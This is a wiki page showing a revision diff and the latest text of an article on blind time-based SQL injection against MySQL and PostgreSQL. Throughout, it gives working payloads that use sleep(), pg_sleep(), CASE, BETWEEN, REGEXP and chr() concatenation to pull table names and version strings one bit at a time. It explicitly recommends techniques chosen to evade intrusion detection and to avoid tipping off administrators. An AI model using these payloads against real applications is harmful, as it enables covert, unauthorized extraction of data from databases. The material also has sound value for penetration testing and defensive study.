Difference between revisions of "SQL injection/Blind/Boolean/Timing"
(→Expert: Timing attacks for automated boolean enumeration) |
|||
Line 1: | Line 1: | ||
− | |||
Timing attacks generally fall under two categories:{{code|text= | Timing attacks generally fall under two categories:{{code|text= | ||
Line 10: | Line 9: | ||
==MySQL boolean timing attacks== | ==MySQL boolean timing attacks== | ||
− | + | [[MySQL]]'s primary functions for time delay are sleep() and benchmark(). Benchmark() is actually a benchmark utility and executes a given query a number of times based on a BIGINT argument, whereas sleep() is a single query. | |
===benchmark() and related issues=== | ===benchmark() and related issues=== | ||
Line 16: | Line 15: | ||
{{warning|'''<i>Benchmark() may betray the activities</i>'''}} | {{warning|'''<i>Benchmark() may betray the activities</i>'''}} | ||
{{code|text= | {{code|text= | ||
− | * <i>'''Benchmark()''' is the '''rudest''' (and '''slowest''' and '''least reliable''') method for timing attacks, primarily due to the fact that it executes large amounts of queries and is CPU intensive. Any extensive injections using benchmark() are likely to alert a system administrator to the resource consumption; even if | + | * <i>'''Benchmark()''' is the '''rudest''' (and '''slowest''' and '''least reliable''') method for timing attacks, primarily due to the fact that it executes large amounts of queries and is CPU intensive. Any extensive injections using benchmark() are likely to alert a system administrator to the resource consumption; even if an attack is never found, an administrator may still be called. <u>For this reason we have minimal coverage of the benchmark() function and recommend using a '''sleep()''' function call instead.</u></i>}} |
===Evasive sleep() based boolean enumeration with regular expressions=== | ===Evasive sleep() based boolean enumeration with regular expressions=== | ||
Line 52: | Line 51: | ||
===='''Controlling sleep() for enumeration:'''==== | ===='''Controlling sleep() for enumeration:'''==== | ||
'''Using cast() to gain control of sleep() with regex:'''{{code|text= | '''Using cast() to gain control of sleep() with regex:'''{{code|text= | ||
− | * Notice when injecting that the sleep() function still outputs a false results set, however it takes 15 seconds. It should take the page less than that to load normally. This can be used in conjunction with a timer when automating sql injection. As noted above in the general boolean enumeration section, because evasion of modern IDS systems is desired, the best option is the REGEXP operator because of its lack of need for quotes,commas, or standard comparison operators ('''<''', '''=''', '''>''') | + | * Notice when injecting that the sleep() function still outputs a false results set, however it takes 15 seconds. It should take the page less than that to load normally. This can be used in conjunction with a timer when automating sql injection. As noted above in the general boolean enumeration section, because evasion of modern IDS systems is desired, the best option is the [[Regular_expressions|REGEXP]] operator because of its lack of need for quotes,commas, or standard comparison operators ('''<''', '''=''', '''>''') |
* If the input for the id is vulnerable, the best method to exploit sleep() is by using the REGEXP operator in combination with the CAST() function. REGEXP always returns 1 or 0 based on whether or not there was a match. '''1''' for matching and '''0''' for no match found. By casting its return to a '''signed integer''' and using a '''multiplication''' test, it's output can be controlled for combination with the sleep command: | * If the input for the id is vulnerable, the best method to exploit sleep() is by using the REGEXP operator in combination with the CAST() function. REGEXP always returns 1 or 0 based on whether or not there was a match. '''1''' for matching and '''0''' for no match found. By casting its return to a '''signed integer''' and using a '''multiplication''' test, it's output can be controlled for combination with the sleep command: | ||
Line 63: | Line 62: | ||
===='''Using sleep() to map a table name with regular expressions'''==== | ===='''Using sleep() to map a table name with regular expressions'''==== | ||
− | {{protip|<i>'''[[#Advanced:_Using_Regex|Regular expressions]] in mysql don't need quotes, | + | {{protip|<i>'''[[#Advanced:_Using_Regex|Regular expressions]] in mysql don't need quotes, they are interchangeable with [[#Quotes|0x'''hex''']]!'''</i>}} |
{| class="wikitable" width="100%" | {| class="wikitable" width="100%" | ||
| | | |
Latest revision as of 17:46, 21 November 2012
Timing attacks generally fall under two categories:
|
MySQL boolean timing attacks
MySQL's primary functions for time delay are sleep() and benchmark(). Benchmark() is actually a benchmark utility and executes a given query a number of times based on a BIGINT argument, whereas sleep() is a single query.
Benchmark() may betray the activities |
|
Evasive sleep() based boolean enumeration with regular expressions
Some information about the environment:
|
Testing for the ability to sleep():
It is very simple to test for access to the sleep() function:
%20and%20sleep(15) mysql> SELECT * FROM sample WHERE id=1 AND sleep(15); Empty set (15.00 sec)
Controlling sleep() for enumeration:Using cast() to gain control of sleep() with regex:
|
Using sleep() to map a table name with regular expressions
mysql> SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 offset 0; +------------+ | TABLE_NAME | +------------+ | sample | +------------+ 1 ROW IN SET (0.00 sec)
mysql> SELECT * FROM sample WHERE id=1 AND sleep((SELECT CAST( (SELECT (SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 offset 0) REGEXP '^[a-m]') AS signed) * 15));
mysql> SELECT * FROM sample WHERE id=1 AND sleep((SELECT CAST( (SELECT (SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 offset 0) REGEXP '^[n-z]') AS signed) * 15));
|
PostgreSQL Boolean Timing Attacks
pg_sleep() is the basis of both single-byte exfiltration and boolean enumeration.
Testing for access to pg_sleep()
Testing for access to pg_sleep() occurs with:
AND pg_sleep(15) IS NULL
|
Using pg_sleep() with alternative comparisons for evasive boolean enumeration
- BETWEEN ... AND ... can be used as well as the regular expression operators here.
Sleeping on true and not sleeping on false:'Similar to mysql, the database will sleep when pg_sleep([int]) is selected .'
- Using CASE to control pg_sleep with BETWEEN...AND:
AND (CASE WHEN 1 BETWEEN 1 AND 1 THEN pg_sleep(15) ELSE 9 END) IS NULL
- If the input is vulnerable, the database will sleep for 15 seconds.
- True statements will sleep, false statements will not sleep.
ascii() can be used between similar to standard PostgreSQL Boolean Enumeration here,
- True Injection:
AND (CASE WHEN ascii(SUBSTRING(version(),1,1)) BETWEEN 1 AND 255 THEN pg_sleep(5) ELSE 98923 END) IS NULL
- False Injection:
AND (CASE WHEN ascii(SUBSTRING(version(),1,1)) BETWEEN 1 AND 1 THEN pg_sleep(5) ELSE 23265 END) IS NULL
Using CASE with the ~ regular expression operator and string concatenation:
Notice that like MySQL regular expression attacks, this attack also bypasses the need for several syntax characters.
(SELECT chr(94)||chr(91)||chr(97)||chr(45)||chr(122)||chr(93))
- This should always be true, delaying the page load for an additional 15 seconds:
AND (CASE WHEN LOWER(version()) ~ (SELECT chr(94)||chr(91)||chr(97)||chr(45)||chr(122)||chr(93)) THEN pg_sleep(15) ELSE NULL END) IS NULL
- This should always be false, as PostgreSQL always capitalizes the first character, meaning no time delay should take place:
AND (CASE WHEN version() ~ (SELECT chr(94)||chr(91)||chr(97)||chr(45)||chr(122)||chr(93)) THEN pg_sleep(15) ELSE NULL END) IS NULL